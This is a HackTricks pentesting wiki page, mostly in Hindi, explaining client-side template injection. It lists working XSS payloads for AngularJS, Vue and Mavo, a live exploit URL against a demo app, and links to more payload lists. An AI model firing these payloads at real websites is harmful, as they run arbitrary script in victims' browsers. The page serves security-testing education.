Client Side Template Injection (CSTI)

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Summary

यह Server Side Template Injection की तरह है लेकिन client में। SSTI आपको remote server पर code execute करने की अनुमति दे सकता है, CSTI आपको victim's browser में arbitrary JavaScript कोड execute करने की अनुमति दे सकता है।

इस सुरक्षा कमजोरी के लिए Testing SSTI के मामले में बहुत similar है, interpreter a template की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे {{ 7-7 }} के साथ, यदि ऐप vulnerable है तो आप 0 देखेंगे, और यदि नहीं, तो आप मूल: {{ 7-7 }} देखेंगे।

AngularJS

AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय ng-app है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।

ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को ng-app के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है:

javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

आप इस बुनियादी ऑनलाइन उदाहरण को AngularJS में इस लिंक पर पा सकते हैं http://jsfiddle.net/2zs2yv7o/ और Burp Suite Academy में

[!CAUTION] > Angular 1.6 ने सैंडबॉक्स हटा दिया इसलिए इस संस्करण से एक पेलोड जैसे {{constructor.constructor('alert(1)')()}} या <input ng-focus=$event.view.alert('XSS')> काम करना चाहिए।

VueJS

आप एक कमजोर Vue कार्यान्वयन इस लिंक पर पा सकते हैं https://vue-client-side-template-injection-example.azu.now.sh/
काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

और कमजोर उदाहरण का स्रोत कोड यहाँ है: https://github.com/azu/vue-client-side-template-injection-example

html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

CSTI पर VUE में एक बहुत अच्छा पोस्ट https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets पर पाया जा सकता है।

V3

{{_openBlock.constructor('alert(1)')()}}

श्रेय: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

अधिक VUE पेलोड देखें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

अधिक पेलोड्स https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

ब्रूट-फोर्स डिटेक्शन लिस्ट

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें